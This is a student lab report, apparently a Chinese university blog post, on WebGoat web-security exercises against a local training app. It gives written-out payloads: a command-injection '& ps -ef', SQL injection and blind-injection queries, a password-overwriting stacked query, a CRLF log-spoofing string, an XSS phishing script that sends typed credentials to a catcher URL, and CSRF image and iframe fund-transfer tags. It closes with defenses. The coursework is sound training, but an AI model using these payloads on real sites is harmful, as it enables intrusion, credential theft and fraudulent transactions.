2019-2020- 20174326旦增列错《网络对抗技术》Exp9 Web安全基础

2019-2020- 20174326旦增列错《网络对抗技术》Exp9 Web安全基础

实验步骤

  • 理解常用网络攻击技术的基本原理,做不少于7个题目,包括SQL,XSS,CSRF(Webgoat实践下相关实验)
  • WebGoat安装
  • SQL注入攻击
    - 命令注入(Command Injection)
    - 数字型注入(Numeric SQL Injection)
    - 日志欺骗(Log Spoofing)
    - 字符串注入(String SQL Injection)
    - SQL 注入(LAB: SQL Injection)
    - 数据库后门(Database Backdoors)
    - 数字型盲注入(Blind Numeric SQL Injection)
    - 字符串型盲注入(Blind String SQL Injection)
  • XSS攻击
    - XSS 钓鱼(Phishing with XSS)
    - 存储型XSS攻击(Stored XSS Attacks)
    - 反射型XSS攻击(Reflected XSS Attacks)
  • CSRF攻击
    - 跨站请求伪造(Cross Site Request Forgery (CSRF))
    - 绕过 CSRF 确认( CSRF Prompt By‐Pass)

实验过程

任务一、WebGoat安装及环境搭建

  • WebGoat下载地址:webgoat-container-7.1-exec.jar

  • 在下载目录下运行终端输入命令java -jar webgoat-container-7.1-exec.jar

  • 当终端中出现Starting ProtocolHandler ["http-bio-8080"]时,WebGoat搭建完毕(不要关闭终端)

  • 在浏览器中输入http://127.0.0.1:8080/WebGoat/login.mvc,进入登录界面,下面有提供guest直接登录即可

  • 由于WebGoat的版本问题,可能在打开后发现左边没有各项课程

  • 我们需要更换Javaversion,详细步骤

  • 更新完成界面

任务二、SQL注入攻击

命令注入--Command Injection

命令注入攻击是在正常的参数提交过程中,添加恶意的代码的攻击方法,它向操作系统注入命令,使用系统命令获取文件的内容,它对针对任何一个以参数驱动的站点,技术方法简单易学,能造成大范围的损害,危及系统安全,尽管这类风险数目很多,但互联网中的系统很容易受到这种形>>式的攻击。

  • 右键表单选择框的下拉框,选择Inspect Element审查网页元素,然后修改源代码
  • 在复选框中任意一栏的代码,右键单击后,选择Edit At Html进行修改,添加"& ps -ef"
  • 保存后下拉框中可以看到我们刚刚修改的选项,点击view,可以看到进程信息
数字型注入--Numeric SQL Injection

注入数字型数据(如:永真式)达到注入的效果,在station字段中注入特征字符,组合成新的SQL语句。如:SELECT * FROM weather_data WHERE station = [station]

  • 修改源代码,进行SQL注入。在某个选项的value值后面,加上代码or 1=1,使该式子成为永真式
  • SQL语句变为了SELECT * FROM weather_data WHERE station = 101 or 1 = 1,后面是永真式。所以这样会执行语句SELECT * FROM weather_data,这样就可以获得所有地区的天气信息了
日志欺骗--Log Spoofing

添加假的日志信息来迷惑操作系统,目的是让用户名admin成功登录,通过在日志文件中插入脚本实现欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹,攻击者还可以利用这种方式向日志文件中添加恶意脚本

  • User Name输入wpy%0d%0aLogin Succeeded for username: admin%0d是空格,%0a是换行
  • 点击登录出现两行,一行提示wpy登录失败,另一行提示admin登录成功,这些信息就会被保存到日志里了
字符串注入--String SQL Injection

下面的表格允许用户查看他们的信用卡号码。尝试注入一个SQL字符串,导致显示所有信用卡号。尝试用户名“史密斯”。和数字型一样,我们的目的是构建一个永真式.

  • 由于字符串在数据库中是由'构成的,我们在last name中输入Smith' OR '1'='1所有的用户信息被输出
实验室stage1--String SQL Injection
  • 对源代码进行修改,将password密码框的最大长度限制改为20或更大
  • 以用户Neville(admit)登录,输入密码hello' or '1' = '1,成功得到所有人员列表
实验室stage3--Numeric SQL Injection
  • 目的是用员工的账户登录,浏览boss的账户
  • 首先用Larry的账号登录,密码同账号
  • 点击ViewProfile可以查看用户信息,那么我们要做的,就是点击这个按钮后跳转到boss的信息。

  • 查看网页源代码,可以看到索引的依据是员工ID,可是我们不知道老板的ID怎么办?数据库中可以使用排序来筛选信息,而老板一般工资都是最高的,将id的value改成101 or 1=1 order by salary desc
  • 点击ViewProfile,成功得到老板的账户信息
数据库后门--Database Backdoors

数据库通常作为一个 Web 应用程序的后端,它可以被用来作为存储恶意活动的地方,如触发器,可以利用查询的脆弱性创建触发器

  • 根据提示,输入id为101
  • 我们可以看到插入查询语句的字符串没有经过任何处理,可以输入多条语句进行增、删、改、查
  • 输入注入语句101; update employee set Password=5226执行,可以看见密码框变为了设置的密码
数字型盲注入--Blind Numeric SQL Injection
  • 目的是知道pin在pins 表里的值,先尝试101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 100 );看pin的值是否大于100,显示数是合法的;再用500、1000、5000尝试,发现pin应该是小于5000的
  • 不断用二分法进行测试,发现pin为2364
字符串盲注入--Blind String SQL Injection
  • 与上一个数字型盲注入基本相同,只是pin字段类型为varchar
  • 查询语句类似上一节:
    101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );

任务三、XSS攻击

XSS 钓鱼(Phishing with XSS)

如果有权限操作页面源代码,HTML文档的内容是可以被篡改的,当用户输入非法HTTP响应时容易受到XSS攻击,在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容, 对于受害者来说很难发现该内容是否存在威胁

  • 根据要求,我们编写代码,设计一个简单的登录界面获取用户名和密码并发送到指定地方
    - 被攻击者填写一个表格
    - 服务器以读取脚本的形式,将收集到的信息发送给攻击者
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
  • 点击搜索,看到下面有个登录界面,登录提示
存储型XSS攻击--Stored XSS Attacks

这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中.因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行,创建非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容

  • title中任意wpy。在Message中输入代码<script>alert('20175226wpy')</script>
  • 然后下面会出现wpy的链接,点击该链接,由其他人浏览,就会弹出一个对话框,写着20175226wpy,证明XSS攻击成功

反射型XSS攻击--Reflected XSS Attacks

在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它,发出请求时,XSS代码出现在URL中,作为输入提交到服务器端,服务器端解析后响应,XSS随响应内容一起返回给浏览器,最后浏览器解析执行XSS代码,反射型XSS是不持久的,在提交到后台的过程中输入的JavaScript脚本就会被执行

  • 输入代码<script>alert("wpy5226");</script>,点击Purchase,成功显示警告框,内容为我们script脚本写的wpy5226

任务四、CSRF攻击

跨站请求伪造--Cross Site Request Forgery (CSRF)

跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段,通过这种方法,攻击者可以让受害者执行一些他们本来没打算执行的操作,如注销、采购项目或者这个脆弱的网站提供的任何其他功能

  • 根据当前访问URL中的scrmenu在消息框中嵌入HTML代码<img src="http://localhost/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
  • 提交后会发现链接,点击该链接,当前页面就会下载这个消息并显示出来,转走用户的5000元,CSRF攻击就成功了
绕过 CSRF 确认--CSRF Prompt By‐Pass

跨站点请求伪造欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令,提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它

  • 与上一个攻击相似,查看页面右侧Parameters中的srcmenu值分别为1471017872和900,并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
  • Message List中生成以title命名的链接,点击进入后,攻击成功

实验结论

二、回答问题

(1)SQL注入攻击原理,如何防御

1.所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

2.sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因。

3.比如登录过程,SQL语句一般为select id from users where username = '"+username +"' and password = '" + password +"',这里的username和password都是我们存取从web表单获得的数据。如果我们在表单中username的输入框中输入' or 1=1--,此时我们所要执行的sql语句就变成了select id from users where username = '' or 1=1-- and password = ''。

4.对SQL注入攻击的防御,主要有:

1>关闭或删除不必要的交互式提交表单页面;

2>对漏洞注入点相关代码进行代码及SQL注入关键字的过滤,以规范代码安全性;

3>不要在服务器端放置备份的文件以免受到感染,或备份的文件含有漏洞,造成切入点

(2)XSS攻击的原理,如何防御

1.览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段。

2.一个原则:不相信用户输入的任何数据!

(3)CSRF攻击原理,如何防御

1.改良站内 API 的设计。对于发布帖子这一类创建资源的操作,应该只接受 POST 请求,而 GET 请求应该只浏览而不改变服务器端资源。

2.使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,作为令牌(token),保存在Session里。然后在发出请求的页面,把该令牌以隐藏域一类的形式,与其他信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,否则返回 HTTP 403 拒绝请求或者要求用户重新登陆验证身份。

实验总结

    • 这次实验属于web安全的范畴,主要利用了三方面的攻击手段,实验因为有之前学姐们的参考,加上WebGaot这个平台确实功能很多,运行起来也很稳定,所以整个实验流程也很顺利。通过实验还是认识到了很多web方面的漏洞知识,代码这东西还是需要细细琢磨才能把这些东西做好。
posted @ 2020-05-26 15:32  旦增列措  阅读(148)  评论(1编辑  收藏